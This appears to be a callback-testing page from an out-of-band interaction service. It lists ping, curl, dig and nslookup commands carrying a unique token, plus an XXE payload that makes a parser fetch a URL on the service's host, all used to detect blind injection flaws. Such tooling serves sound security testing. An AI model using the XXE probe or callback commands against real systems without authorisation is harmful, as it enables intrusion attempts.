$ ping -c1 -p 006097340fc4840d51b1455c0dcfce00 unhack.ca
 
$ curl http://unhack.ca/p/6097340fc4840d51b1455c0dcfce
 
$ dig 6097340fc4840d51b1455c0dcfce @unhack.ca
 
$ dig 6097340fc4840d51b1455c0dcfce.ns.unhack.ca
 
C:\> nslookup 6097340fc4840d51b1455c0dcfce unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6097340fc4840d51b1455c0dcfce">]>
    <foo>&xxe;</foo>
 
Waiting for ping...